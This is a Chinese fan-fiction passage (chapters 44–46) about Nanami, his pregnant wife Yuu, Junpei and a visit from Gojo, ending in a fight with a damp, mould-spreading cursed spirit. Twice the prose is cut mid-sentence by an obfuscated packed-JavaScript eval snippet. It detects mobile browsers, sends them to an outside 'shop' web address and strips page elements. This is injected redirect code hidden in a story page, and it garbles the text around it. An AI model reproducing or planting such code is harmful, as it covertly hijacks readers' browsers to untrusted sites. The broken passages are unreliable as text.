“这正好我需要!”悠眼睛发亮,“旧的那套确实不太好用了……七海海你什么时候去买的?” “上周。”七海简单地说,没有提自己其实去了三家专卖店才选到合适的。 吉野风看着他们互动,眼里满是笑意。 她拿出手机,悄悄拍了一张照片——悠拿着新笔刷开心地比划,七海在一旁看着她,表情是难得的放松和温柔。 晚上九点,吉野风和顺平离开后,公寓又恢复了安静。 悠抱着新收到的护腰枕坐在沙发上,七海在厨房收拾。 窗外又开始下雪了,比昨晚更大些。雪花安静地落在窗玻璃上,很快融化成细小的水痕。 “七海海,”悠忽然开口,“今天编辑回邮件了。” “嗯?” “他说这期的稿子特别精彩,读者反馈一定会很好。”悠转过头,眼睛在灯光下亮晶晶的,“还说让我注意身体,不要熬夜……他怎么会知道我这期差点熬夜?” 七海擦干手走过来,在她身边坐下:“我发的邮件里提了一句。” “果然……”悠笑着靠在他肩上,“有七海海在,不只是帮我发邮件,还有照顾……所有的一切。” 七海没有回答,只是伸手揽住她的肩膀。 两人就这样静静坐着,看窗外雪花飘落。 电视机还开着,音量调得很低。 狗血剧已经播完了,现在是一个圣诞特别节目,主持人在雪地里采访路人。 “对了,”悠忽然想起什么,“医生说下周可以听到胎心了。” 七海的身体几不可察地僵了一下:“……是吗?” “嗯。会用一个小仪器放在肚子上,就能听到心跳声。”悠握住他的手,“到时候一起去?” “当然。”七海反握住她的手,握得很紧。 44. 温情时刻 厨房已经亮起暖黄的灯光。 七海系着围裙——正盯着吐司机上的计时器。 吐司机旁的小锅里,牛奶将沸未沸,表面结着一层薄薄的奶皮。 悠揉着眼睛走出来,她今天穿了件米白色的宽松毛衣,下身是深灰色的孕妇裤——上周刚买的,腰部有可调节的松紧带。 怀孕进入第十六周,小腹的弧度已经有了些起伏,像悄悄藏了个柔软的枕头。 “早……”她的声音带着刚睡醒的沙哑。 “早。”七海关掉炉火,将牛奶倒入两个马克杯,“吐司还有一分钟。” 悠慢慢挪到餐桌旁坐下,手无意识地搭在小腹上。 吐司机“叮”的一声弹出。 七海将吐司装盘,涂上薄薄的蜂蜜——悠最近喜欢这个口味,说不会太腻。 他把盘子放在她面前,顺手摸了摸她的额头。 “没发烧。”他说,像是自言自语,又像是在汇报。 “本来就没发烧啦。”悠拿起吐司咬了一小口,“就是昨晚睡得不太好,总觉得……怪怪的。” 七海正要喝牛奶的手停顿了半秒:“做噩梦了?” “不是噩梦。”悠摇头,眉头微皱,“就是那种……醒着的时候的感觉。坐在沙发上看电视,或者半夜起来喝水,总觉得角落里有什么东西在盯着我。但一转头,什么都没有。” 她描述时,手指无意识地在桌面上画着圈。 七海看着她,推了推眼镜。 “今天我会早点回来。”他说,“下午要去见个客户,但三点前应该能结束。” “不用特意早回啦。”悠笑了笑,“可能只是孕期神经敏感,医生上次也这么说。” 但七海已经拿出手机,在日程表上做了标记。 这是他表达关心的方式——不是什么甜言蜜语,而是实际行动。 七点多,七海穿戴整齐准备出门。 悠站在玄关,手里拿着他的公文包。 “围巾。”她提醒。 “在衣柜里。”七海说,但还是接过她递来的公文包。 “今天好像要下雪,带伞了吗?” “带了。” “路上小心。” “嗯。别画太久,记得起来活动活动。” 玄关门关上后,悠在原地站了几秒,手又搭在小腹上。 宝宝今天很安静,像在睡回笼觉。 悠决定出门走走。 截稿期刚过,新一话的分镜还没开始,她有短暂的空闲。 街角的便利店已经换了收银员——是个四十岁左右的阿姨,笑容爽朗。 悠站在饮料柜前犹豫时,特意感受了一下周围。 没有那些紫灰色的线,没有不协调的扭曲。 一切正常。 她松了口气,选了热玉米汁。 走出便利店时,天空开始飘起细小的雪粒。 悠把围巾裹紧些,决定去附近的二手书店转转。 那家店她常去,有时候看入迷甚至能在书架间消磨整个下午。 书店门上的铃铛发出清脆声响。 店内暖气不足,但书香和旧纸张的味道让人心安。 悠熟门熟路地走到漫画区,想找些恐怖漫画。 她抽出一本九十年代的恐怖漫画合集,翻开内页。 纸张已经泛黄,但画风依然精致——是那种老派的笔触,阴影用得格外大胆。 翻到某一页时,悠的动作突然僵住了。 页面上画着一个女人在空房间里回头,身后什么都没有,但阴影的构图让人觉得有什么东西正从墙壁里渗出来。很经典的恐怖手法。 但悠看到的不是画面。 她看到从书页里,延伸出十几条极细的、几乎透明的“线”。 那些线在空气中轻轻摇曳,像水草,像蛛丝。 而那些“点”,都在“注视”着她。 不是恶意,不是好奇,就只是……注视。 空洞的、持续的、不带感情的注视。 悠合上书,线消失了。 她深呼吸,再慢慢翻开——线又出现了,依然摇曳,依然连接着那些看不见的“注视点”。 “这本书……”她喃喃自语。 “那本是上周收进来的。”老板的声音突然从身后传来,悠吓了一跳。 老先生不知何时站到了她旁边,推着老花镜,“是一个年轻人卖掉的,说整理房间时发现的。品相不错,就是……” 他顿了顿,似乎在斟酌用词:“就是有点‘沉’。放进来后,店里的猫都不愿意靠近这个书架了。” 悠看向柜台方向,那只虎斑猫果然蜷在离这里最远的暖气片旁,眼睛半闭,但耳朵竖着。 “您感觉到了?”悠小心地问。 老板笑了,皱纹舒展开来:“开这种店四十年了,有些书带着‘重量’,有些书带着‘记忆’。这本啊,带着太多情感了。” 他用了很妙的词——情感。 “我买下它吧。”悠说。 老板看了看她,又看了看她手中的书,点头“我给你装起来?不过……”他压低声音,“回家后,别在晚上看。” 悠付了钱,接过用牛皮纸仔细包好的书。 走出书店时,雪下得大了些。 她把书紧紧抱在怀里,能感觉到纸张透过包装传递出的微凉触感。 废弃仓库。 顺平趴在地上喘气,汗水把地面洇湿了一小片。 他刚刚完成第三组体能训练——仰卧起坐、俯卧撑、深蹲各一百次。 肌肉在尖叫,但心里有种奇异的充实感。 “休息五分钟。”七海站在一旁,手里拿着计时器,“然后练习咒力的流动感知。” 顺平挣扎着坐起来,抓起水瓶灌了几下漱口,湿润一下干燥的喉咙。 训练已经持续一个半月,他的身体发生了明显变化——肩膀宽了些,手臂有了肌肉线条,最重要的是,那种时常缠绕他的、莫名的“寒意”现在可以主动控制了。 不是消失,而是像学会了调节音量,可以把感知“调低”。 “姨夫,”顺平擦着汗问,“咒灵……都会‘看’人吗?” 七海正在检查训练器材,闻言转过头:“为什么这么问?” “就是……有时候训练到很累的时候,会突然觉得有谁在看着我。”顺平斟酌着词句,“不是恶意,就是……看着。但一集中精神,感觉就没了。” 七海推了推眼镜。 这个问题很敏锐。 “有些咒灵会。”他走到顺平身边坐下,“尤其是那些由‘被注视恐惧’、‘社交焦虑’等情绪滋生的咒灵。它们的攻击方式往往不是直接的物理伤害,而是精神层面的压迫——比如制造‘一直被盯着’的错觉,让人逐渐崩溃。” 顺平认真听着,这比学校任何一堂课都让他专注。 “顺平,你最近有这种感觉的频率在多少?” “大概……一周两三次?都是在很累或者很放松的时候。” “是训练后感知力提升的表现。”七海说,“你的‘咒力’变敏感了,能接收到更微弱的信号。 这不是坏事,但要学会分辨——哪些是需要警惕的真正威胁,哪些只是环境里的‘背景噪音’。” 顺平点点头,正要说什么,口袋里的手机震动了一下。 他拿出来看,是ins上的通知——五条悟给他刚发的训练场照片点了赞,还评论了。 顺平的ins很少更新,今早只是随手拍了张训练场晨光的照片,配文“早”。照片里只有空旷的场地和晨光中的灰尘。 五条悟的评论是:【@gojo_satoru:哇~这个场地不错!不过地板是不是该擦擦了?灰尘对呼吸不好哦~顺便,小朋友的摄影技术有待提高呢??】 顺平:“……” 七海瞥了一眼屏幕:“他最近经常联系你?” “不算经常……”顺平点开私信界面,上面有五六条未读消息,都是五条悟发的: 【昨天21:03】小朋友训练怎么样了?七海有没有凶你? 【昨天21:05】啊对了,高专的制服样品出来了,你要不要看看颜色?虽然我觉得设计可以更时尚一点…… 【今天07:30】早!我在吃超~好吃的可丽饼!你要好好吃早饭哦! 【今天08:15】对了对了,入学前的面谈大概在三月中旬,夜蛾老师可能会问些问题,不过别紧张,他看起来凶但其实人很好~ 每一条后面都跟着夸张的表情包。 “五条先生他……很关心人。”顺平斟酌着说。 “他是闲。”七海一针见血,“不过既然他主动联系你,有什么关于高专的问题可以直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154092|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问他。虽然回答的方式可能不太常规,但信息通常是准确的。” “嗯。”顺平看着五条悟最新发来的一张可丽饼照片——奶油多得快要溢出来,上面还插着小旗子——心里那种“这位老师真的没问题吗”的不祥预感又加深了。 休息时间结束。 七海站起身:“今天教你怎么把咒力凝聚在一点。这是很多术式运用的基础。” 顺平立刻收起手机,集中精神。 训练继续。 汗水再次滴落,呼吸变得粗重,但在这些之下,某种力量正在缓慢生长,像深埋地下的种子,等待破土的春天 下午七海准时到家。 他手里拎着从商业街买的鲷鱼烧——悠下午打电话突然想吃这个。 进门时,悠正坐在客厅地毯上,面前摊开那本二手书,但她的表情很严肃,手里拿着素描本,正在快速画着什么。 “我回来了。” “啊,欢迎回来。”悠抬起头,眼睛亮亮的,“七海海,你快来看这个。” 七海放下东西,走到她身边坐下。素描本上画着一系列诡异的结构图,无数个“点”通过细线连接到一个中心,像某种多眼的星形生物。 “这是我今天买的那本书里‘看’的方式。”悠指着图解释,“不是用眼睛看,而是……用‘存在’本身去感知。每一个点都是一个‘视点’,它们共享同一个意识。不过没有危险,他只是注视。” 七海看着那些图,又看了看摊开的漫画书。 书页上是普通的恐怖画面,但他相信悠所“见”的。 “有危险吗?”他问。 “没有。”悠摇头,“这些‘视点’很被动,只是记录,不会干预。但是……”她顿了顿,“如果有人长期被这样‘注视’,可能会产生心理问题——总觉得被监视,变得神经质。这本书的前任主人,恐怕……” 她没有说下去,但意思很明显。 七海沉思片刻:“书你想怎么处理?” “我想留下。”悠说,“作为研究素材。而且……我觉得这些‘视点’其实挺孤独的。它们只是在看,因为除了看,什么也做不了。” 七海看着她,伸手覆住她的手:“听你的,先吃饭。鲷鱼烧要凉了。” 吃完晚餐。 电视开着,播放晚间新闻。 雪还在下,窗外已经白茫茫一片。 “今天感觉怎么样?”七海问。 “挺好的,就是腰有点酸。”悠小口吃着鲷鱼烧,“医生说这是正常现象,子宫在长大。” “按摩仪我放在卧室了,睡前可以用。” “嗯。”悠笑了,“七海海,你说宝宝现在能感觉到外面吗?” “医学上说,十七周左右可以听到声音了。” “那我们要多跟他说话。”悠认真地说,“不过说什么好呢……” 七海想了想,推了推眼镜:“可以从财务报表讲起。基础的经济学知识很重要。” 悠愣了两秒,然后笑出声:“哪有给胎儿讲财务报表的!” “早期教育很重要,直接培养孩子赚钱天赋。”七海一本正经,但眼里有笑意。 晚餐后,两人一起收拾。 七海洗碗,悠擦干。 厨房的窗户蒙上雾气,外面街灯的光晕模糊成温暖的金黄色。 收拾完,悠继续研究那本书,七海则坐在旁边陪着她一起看里面的内容,是不是发表点评。 偶尔,他会抬头看她一眼,确认她的状态。 晚上九点,悠打了个哈欠。 “该休息了。”七海合上书。 “再看一会儿……” “不行。” 最后是七海半哄半强制地把她带回卧室。 按摩仪嗡嗡作响,悠趴在床上,舒服地叹了口气。 “七海海。” “嗯?” “今天……我还以为你不会让我留下那本书呢。” “傻瓜。” “哪有这样说人家的,小心宝宝也被我传染成傻瓜。” 七海没有回答,只是轻轻按摩着她的腰。 窗外的雪静静落下,覆盖了整个东京。 但今晚,如果有人经过,也许会看到窗玻璃上凝结的雾气中,有十几道几乎看不见的细痕——像有许多无形的“点”,正隔着窗户,“注视”着这个雪夜。 45. 胎动 时间过得飞快,转眼就到了一月。 悠在睡梦中感到小腹传来一阵奇异的悸动。 不是疼痛,也不是胀气,而是一种……轻柔的、来自内部的触碰。 像有人在深水中,用指尖极轻地敲了一下玻璃壁。 她瞬间清醒了。 窗外的天还是灰蓝色的,冬季的晨光稀薄。 七海还在睡,呼吸平稳悠长。 悠慢慢地、小心翼翼地将手覆在小腹上,屏住呼吸等待。 几秒钟后,又是一下。 这次更清晰了——一个微小的、确定的波动,从深处传来,短暂地改变了腹部的弧度,然后消失。 悠的眼睛一下子湿了。她轻轻推了推身边的七海。 “七海海……” “嗯?”七海几乎是立刻醒来,声音带着刚睡醒的低哑,“怎么了?不舒服?” “不是。”悠抓过他的手,放在自己小腹上,“七海海,你快感觉一下。” 七海完全清醒了。 他侧过身,手掌平贴在她温暖的小腹上,眼镜还放在床头柜上,那双平日里总是冷静理性的眼睛此刻专注得有些紧张。 时间在寂静中流逝。 一分钟,两分钟。 就在悠以为宝宝又睡着了的时候,七海的手掌下,传来一次清晰的、不容错认的触动。 他的呼吸停了一瞬。 “……感觉到了,是宝宝在动。”他说,声音很轻,像怕惊扰到什么。 “嗯。”悠的眼泪终于掉下来,是笑着哭的,“是宝宝在打招呼。” 七海的手没有移开,他维持着那个姿势,掌心感受着那份微弱却真实存在的生命力。 许久,他才收回手,重新戴上眼镜,但眼眶有些不易察觉的发红。 “医生说十七周到二十周会出现胎动。”他的语气异常柔软,“悠,你很准时。” 悠破涕为笑:“是宝宝很守时,像你。” 那天早上的早餐气氛格外温馨。 七海煎蛋时不小心多放了一点蜂蜜,还把悠的牛奶热得特别小心。 悠则一直把手放在小腹上,时不时低头轻声说几句话。 “宝宝,这是爸爸煎的蛋哦。” “宝宝,今天天气很好呢。” “宝宝……” 七海一边烤吐司一边听着,终于忍不住说:“他现在应该还听不懂。” “那也要说嘛。”悠理直气壮,“早期教育很重要,你昨天不是还说要从财务报表讲起?” 七海推了推眼镜,无言以对。 出门前,七海在玄关犹豫了一下,转身走回客厅,在悠惊讶的目光中,俯身对着她的小腹,用一本正经的语气说:“今天要好好长大,不要让你妈妈太累。” 说完,他立刻直起身,耳朵彻底红了,抓起公文包头也不回地出了门。 悠愣了足足五秒,然后倒在沙发上笑得停不下来。 下午两点,门铃响了。 悠以为是快递——她最近在网上买了些婴儿用品。 但打开门,看到的却是一头显眼的白发和标志性的黑色眼睛。 五条悟站在门口,一手拎着两个精致的纸袋,另一手随意地插在裤袋里,脸上挂着那种“哎呀真巧路过顺便上来看看”的笑容。 “哟,弟妹~下午好啊。”他声音轻快,“七海不在家吧?” 悠怔了怔:“他还在上班……五条先生怎么来了?” “出差回来,带了点仙台特产,想着给你们送点~”五条悟晃了晃纸袋,没等邀请就很自然地走进了玄关,熟练地换了拖鞋——好像他才是这里的主人。 悠关上门,有点茫然:“那个,请进……要喝茶吗?” “好啊好啊,不过不用麻烦啦~我自己来就好!”五条悟已经自顾自走进客厅,把纸袋放在茶几上,然后在餐桌旁寻觅茶壶,姿态放松得像在自己家。 悠去拿厨房新的茶叶,心里有些打鼓。 七海说过五条悟很强也很随性,但这样突然造访还是让人紧张。 端着茶回到客厅时,五条悟正好奇的打量着客厅里面的他俩结婚时拍的照片。 他的目光在工作台上那本摊开的二手书上停留了几秒,然后又移向墙上的画——那是悠自己画的风景水彩。 “七海那家伙,家里布置得还挺温馨嘛。”五条悟接过茶杯,“谢谢~” “五条先生今天来,是有什么事吗?”悠在他对面坐下,手习惯性地搭在小腹上。 “嗯?没事就不能来看看可爱的弟妹吗?”五条悟喝了口茶,墨镜下的嘴角弯着,“而且我很好奇啊~能让那个一本正经的七海结婚的女孩,到底是什么样的。” 悠脸微红:“我……很普通。” “普通?”五条悟轻笑一声,忽然伸手,摘下了墨镜。 悠呼吸一窒。 不是因为五条悟的长相——虽然他确实英俊得惊人,苍白的头发和天蓝色的眼睛有种非人的美感。 而是因为,在悠的视野里,当墨镜摘下的刹那,五条悟整个人“亮”了起来。 不是发光,而是他身上的“线”。 悠见过无数人的线——焦虑的暗黄,疲惫的灰蓝,喜悦的淡粉,甚至病态的紫黑。 但五条悟身上的线,是一种她从未见过的、近乎透明的银白色,亮得惊人,密度高到几乎将他整个人包裹成一个光茧。 看的她有点头晕加晃眼。 那些线以一种极其复杂精密的规律流动、旋转,像某种活着的、自我维持的宇宙模型。 最不可思议的是,这些银白色的线完全独立,几乎不与外界产生连接。 普通人身上的线会与周围环境、与他人交织,形成复杂的关系网。 但五条悟的线是封闭的、自洽的、完美的循环。 怪不得他总说自己是最强。 他不是在说力量,而是在陈述一个事实——这个人的存在本身,就已经是“规则之外”了。 “哇哦。”五条悟歪了歪头,那双六眼直直地看着悠,“你这个表情……是看到了什么有趣的东西吗?” 悠猛地回神,意识到自己盯着他看了太久,慌忙移开视线:“对、对不起……” “不用道歉啦~”五条悟重新戴上墨镜,但刚才那种被彻底看透的感觉还残留着,“所以,你能看到什么,对吧?不是咒力残秽,不是诅咒轨迹,是更本质的……是‘联系’本身?” 悠握紧了茶杯。 七海说过不要轻易暴露能力,但面对这双眼睛,撒谎似乎没有意义。 “我也不知道那是什么。”她诚实地回答,“从小就能看见。人和人之间,人和物之间……有各种各样的线。颜色、粗细、连接方式都不一样。” “有意思。”五条悟兴奋得身体前倾,手肘撑在膝盖上,“那你看我是什么样的?” 悠犹豫了一下,实话实说:“您的线……很亮,银白色的,很密。而且……不怎么和别人连在一起。” “哈哈哈!”五条悟突然大笑起来,“原来如此原来如此!怪不得七海那家伙会选你——他那种讨厌复杂人际关系的人,看到你这种能直接看到‘联系’的能力,一定觉得很省事吧?” 这话说得悠一愣。 “啊,我开玩笑的~”五条悟摆摆手,恢复了轻松的语气,“不过说真的,你的能力很有趣。不是咒术,不是异能,更像是……天生的‘感知特权’。要是让那些老家伙知道,肯定又会大惊小怪。” 他喝完茶,站起身:“好啦,特产送到,茶也喝了,我该走啦~哦对了,”他走到玄关,回头补充,“告诉七海,三月初我会把高专面谈的具体时间发给他。还有——” 他顿了顿,墨镜下嘴角勾起一个恶劣的弧度。 “让他别紧张,我不会抢他老婆的~虽然我确实很帅啦!” 说完,他挥挥手,开门离开,留下一脸懵的悠。 晚上六点半,七海准时到家。 一进门,就看到了茶几上的纸袋和悠微妙的表情。 “五条前辈来过?”他问。 “嗯,下午来的。”悠想帮他脱下大衣,却被七海自己抢先脱下,挂在衣架上“带了特产,还喝了茶。” 七海打开纸袋,里面是包装精美的喜久福和毛豆年糕。 他眉头微皱:“他没说什么奇怪的话吧?” “呃……”悠眼神飘忽,“他说你看到我的能力一定觉得很省事,因为讨厌复杂的人际关系……” “?!这个混蛋……”七海推了推眼镜,面无表情:“还有呢?” “还说……让你别紧张,他不会抢你老婆,虽然他确实很帅。”悠越说声音越小。 空气安静了几秒。 “……他真这么说?”七海的声音平静,但悠看到他额角的青筋跳了一下。 “嗯。”悠点头,然后忍不住笑了,“不过五条先生摘下墨镜的时候,真的吓了我一跳。他身上的线……好特别。” 七海看着她,眼神柔和下来:“他有没有为难你?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154093|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有,就是问了问我的能力。我说不知道是什么,他也没深究。”悠顿了顿,“他还说……我的能力不是咒术,更像是天生的感知特权。” 七海若有所思。 这时,门铃又响了——是顺平来了,今天周二,是训练日。 顺平一进门就察觉到气氛有点怪:“怎么了?发生什么事了吗?” 悠忍笑:“五条先生下午来过了。” 顺平的表情立刻变得复杂:“不会是五条先生他又说了什么奇怪的话吧?” “顺平,你怎么这么猜到的啊?” 七海把五条悟的话复述了一遍。 当听到“不会抢你老婆”那段时,顺平的表情从复杂变成了震惊,然后变成了严肃的谴责。 “五条先生怎么能这样!”顺平难得地提高了音量,“虽然他是很帅没错,但、但也不能开这种玩笑!小姨和姨夫感情这么好!简直是危言耸听!!” 他转向悠,认真地说:“小姨,你不要被迷惑了!姨夫虽然看起来严肃,但他是最好的!” 悠终于忍不住笑出声:“我知道啦,顺平。我没被迷惑。” “可是……” “而且,”悠笑着摸了摸顺平的头发,“我们家顺平也会保护我的,对吧?” 顺平脸红了,但还是用力点头:“嗯!” 七海看着这一幕,刚才那点不快也消散了。 他拿出手机,给五条悟发了条消息: 【请以后不要对我的妻子说那种轻浮的话。顺平也很生气。】 不到十秒,回复来了: 【诶~七海好小气!顺平小朋友也生气了吗?真伤心啊~??】 附带一张五条悟戴着墨镜假装哭泣的表情包。 七海面无表情地关掉手机,决定暂时拉黑这个人。 晚餐后,顺平主动去洗盘子,悠和七海在客厅收拾。 悠正要把碗碟端进厨房,忽然“啊”了一声,站在原地不动了。 “怎么了?”七海立刻走过来。 悠抓住他的手,按在自己小腹上:“宝宝……又在动。” 这次的动作比早上更明显,连续几下,像是宝宝在翻身或伸展手脚。 七海的手掌能清晰地感受到那些小小的、有节奏的律动。 他眼睛一眨不眨地看着自己的手,仿佛在确认这不是幻觉。 顺平擦着手从厨房出来,看到这一幕,也轻手轻脚地走过来:“是弟弟妹妹在动吗?” “嗯。”悠笑着点头,“要摸摸看吗?” 顺平犹豫了一下,小心翼翼地把手贴上去。 几秒后,他的眼睛瞪大了:“真的……在动。” 那一刻,三个人的手交叠在悠的小腹上——七海的手在最下面,然后是悠的手,最上面是顺平略显拘谨的手掌。 宝宝像是感受到了外界的触碰,又轻轻动了一下,像是在回应。 顺平的眼睛有点湿,他迅速收回手,转过身假装摸头发:“弟弟妹妹,他、他很有活力呢。” “嗯。”七海也收回手,推了推眼镜,但嘴角有克制的笑意,“像悠。” “才不是,肯定是像你,这么守时。”悠反驳。 顺平看着他们,心里涌起一股暖流。 晚上九点,顺平离开后,悠洗了澡躺在床上。 七海在床边坐下,手轻轻放在她小腹上,像是在做睡前检查。 “今天被五条前辈吓到了吗?”他忽然问。 “有一点。”悠诚实地说,“但他没有恶意,我能感觉到。那些线……虽然很亮很密,但很干净,没有不好的颜色。” 七海沉默了一会儿“他的确是值得信任的人。只是……说话方式经常让人火大。” 悠笑了,转身面对他:“七海海,你今天吃醋了?” “没有。”七海立刻否认,但耳根又红了。 “明明就有~”悠伸手戳他的脸,“不过我很开心哦。因为七海海很在乎我。” 七海抓住她作乱的手,无奈地叹了口气:“……早点睡。” 他关掉灯,躺下来,手臂自然地环住她的腰。 黑暗中,悠能听到他平稳的心跳。 “七海海。” “嗯?” “宝宝今天动了好多次呢。” “嗯。” “你说他会在肚子里做什么梦呢?” “……可能梦到财务报表吧。” “你又来了!” 小声的笑语在黑暗中回荡。 46. 面试前夕 立春刚过,东京的寒意却没有丝毫减退。 浴室里传来压抑的干呕声。 七海站在浴室门外,手里端着温水和毛巾,眉头微皱。 孕吐反应在悠身上持续得比预想中久,医生说这是个人体质差异,但每次听到她难受的声音,他都会感到一阵无力——这是他无法用任何咒术或体术解决的问题。 声音平息后,门开了。 悠脸色苍白地走出来,接过水杯小口啜饮。 “还好吗?”七海问,声音比平时更轻。 “嗯……吐完反而舒服点了。”悠勉强笑了笑,手习惯性地抚上已经明显隆起的小腹,“宝宝今天有点闹腾。” “是在长大。”七海接过空杯子,另一只手很自然地扶住她的腰,“早餐想吃什么?” “粥吧……清淡点的。” 厨房里,七海熬粥的动作比平时更仔细。 米粒在锅里缓慢翻滚,他守着火候,偶尔用勺子轻轻搅拌。 悠坐在餐桌旁看着他挺拔的背影,忽然开口: “对啦,七海海,我昨天……看到公寓楼下有奇怪的线。” 七海搅拌的动作停了半秒:“什么样的?” “暗绿色的,很细,像霉菌的菌丝。”悠描述时,手指在桌面上画着,“从一楼的墙角蔓延出来,大概两三米长,然后消失在空气里。颜色很脏,看起来……黏糊糊的。” 七海关掉火,盛粥:“有几个点?” “三个。一楼楼梯间后面,三楼的公共垃圾桶旁边,还有五楼双胞胎家门外。”悠接过粥碗,热气蒸腾上来,“不过很淡,应该不是什么厉害的东西。” “可能是低级咒灵残留的痕迹。”七海在她对面坐下,“最近公寓里有什么不寻常的事吗?” 悠想了想:“坂本太太说最近几天晚上,总听到楼里有奇怪的滴水声,但检查了所有水管都没问题。还有五楼的外婆说,她晾在阳台上的床单莫名其妙湿了一小块,形状很怪……” 她顿了顿:“像是有个湿漉漉的手印。” 七海推了推眼镜。 这听起来像是三级或四级咒灵喜欢搞的小把戏——没有实质性伤害,但会制造诡异现象扰人安宁。 “今天下班后我会检查一下。”他说,“你在家不要单独行动,特别是晚上。” “嗯。”悠乖乖点头,然后想起什么,“对了,顺平今天放学和你训练完直接过来吗?” “四点左右到。我五点半回来,带你们去附近新开的家庭餐厅吃饭。”七海看了眼日历,“他下周三要去高专面谈,这周需要做最后准备。” 下午两点,悠正在工作台前画新一话的分镜。 画到关键场景时,她忽然听到门外传来细微的声响。 滴答。 滴答滴答。 是水声。 很轻,但持续不断,像是从走廊尽头的公共区域传来的。 悠放下笔,站起来走到门边,透过猫眼往外看。 走廊空无一人,灯光惨白。 但那水声还在继续,而且……似乎越来越近了。 她看到外面地上有一滩水渍,正从楼梯间的方向慢慢蔓延过来。 水渍的形状很不规则,边缘呈暗黄色,像锈水。 更让她在意的是,在水渍上方,漂浮着几条暗绿色的线——和她昨天看到的那些一模一样。 但此刻它们更活跃了,像水草一样在水中扭动、生长。 悠想了想,没有开门。 她退回客厅,拿起手机给七海发了条消息: 【公寓走廊有奇怪的水渍和绿线,在蔓延。我待在家里没出去。】 不到一分钟,回复来了: 【锁好门,不要接触。我马上回来。】 几乎是同时,顺平的消息也跳了出来: 【小姨,我到楼下了,但是楼梯间好冷,而且地上全是水。感觉不对劲,你在家吗?不要出来!】 悠立刻回拨电话:“顺平,先别上来!去一楼的坂本太太那里等我,七海马上就回来了。” 电话那头传来顺平略显紧张的声音:“小姨……我好像看到有什么东西在楼梯上……” “什么东西?” “不知道……黑色的,湿漉漉的一团,在往上爬。”顺平压低声音,“它在滴水,滴过的地方就长出那种暗绿色的……苔藓?” 这比她预想的要麻烦。 “顺平,听我说。”她尽量让自己的声音保持平稳,“你现在慢慢退出去,不要跑,不要发出太大声音。去管理室找坂本太太,告诉她水管可能漏了,请她联系物业。” “那小姨你……” “我没事,门锁好了。七海马上回来。”悠说,“记住,不要盯着那东西看太久。” 挂断电话后,悠重新走到门边。 猫眼里——那滩水渍已经蔓延到她门外,暗绿色的线在水中疯狂生长,几乎要形成一张网。 而在楼梯间的方向,一个模糊的、湿漉漉的黑色轮廓正缓慢地向上蠕动。 那东西没有固定的形状,像一团浸透的破布,又像某种海洋生物的尸体。 每蠕动一次,就洒落更多脏水,而那些水一接触地面,就立刻滋生出新的绿线。 悠忽然意识到:这东西不是在“爬楼”,它是在用自己污染过的水“铺路”,然后顺着自己制造的“水路”移动。 这时,她的手机震动了。 是五条悟。 【小朋友给我发了消息哦~公寓楼里有小麻烦?需要帮忙吗?】 悠还没来得及回复,下一条又来了: 【安心的啦~七海已经快到了。不过告诉你们一个有趣的信息:这种喜欢制造水渍和霉菌的咒灵,通常很怕两样东西——干燥,和巨大的噪音。比如……吸尘器?或者摇滚乐?】 悠看着这条消息,愣了两秒。 七海的车停在公寓楼下。 他刚下车,就看到顺平从管理室跑出来。 “姨夫!那东西在三楼!” “你小姨呢?” “小姨在家里,说锁好门了。但是那东西就在她门外……” 七海脸色一沉,快步走进公寓楼。 一楼的地面果然湿漉漉的,墙角的绿线已经长到膝盖高,像一片微型森林。 空气中弥漫着霉味和潮湿的腥气。 他快步上楼,在二楼到三楼的楼梯转角,看到了那东西。 确实是个二级咒灵,外形如同浸泡多年的烂海绵,直径约一米,表面不断渗出脏水。 它正趴在楼梯上,身下的水渍不断扩散,绿线疯狂生长,已经爬满了半面墙。 咒灵发现了七海,表面裂开一道缝隙,像嘴一样发出“咕噜咕噜”的吸水声。 七海解开领带,卷起衬衫袖子。 虽然没有咒具,但对付这种低级咒灵,体术配合基础的咒力运用足够了。 就在这时,楼上传来开门声,然后是吸尘器启动的轰鸣—— 嗡嗡嗡嗡嗡!!! 巨大的噪音在狭窄的楼道里回荡。那咒灵猛地一颤,表面的脏水都溅了起来。 紧接着,震耳欲聋的摇滚乐倾泻而出——是悠把音响搬到了门口,音量开到最大。 “WHAT’S UP——!”激昂的男高音在楼道里炸开。 咒灵剧烈地抽搐起来,像是受到了巨大的刺激。 它身下的水渍开始收缩颤抖,那些绿线也以肉眼可见的速度枯萎,咒灵开始移动试图躲避这尖锐的噪音。 七海抓住机会,几步跨上楼梯,右手凝聚起薄薄一层咒力,朝咒灵脑袋一拳击出—— “噗嗤”一声闷响,像是戳破了一个装满水的垃圾袋。 咒灵炸开,化作一滩黑水四溅,然后迅速蒸发,只留下地上一片湿痕和几缕迅速消散的黑烟。 摇滚乐还在继续。 七海顺着楼梯走上去,看到自家的门开着一条缝,悠正举着吸尘器,一脸紧张好奇地看着外面。 “……解决了。”他说。 悠关掉吸尘器和音响。 楼道里突然安静得有些诡异。 “五条先生发消息说,这种东西怕干燥和噪音。”悠解释,脸上还有点红,“我就想试试……” 七海看着她,又看了看她手里的吸尘器,推了推眼镜:“很有效。” 顺平这时也上来了,看到一地狼藉和已经消失的咒灵,松了口气:“结、结束了?” “嗯。”七海蹲下检查地面,“残秽很弱,很快就会散。不过为了保险起见……”他看向悠,“悠,你能看到还有残留的线吗?” 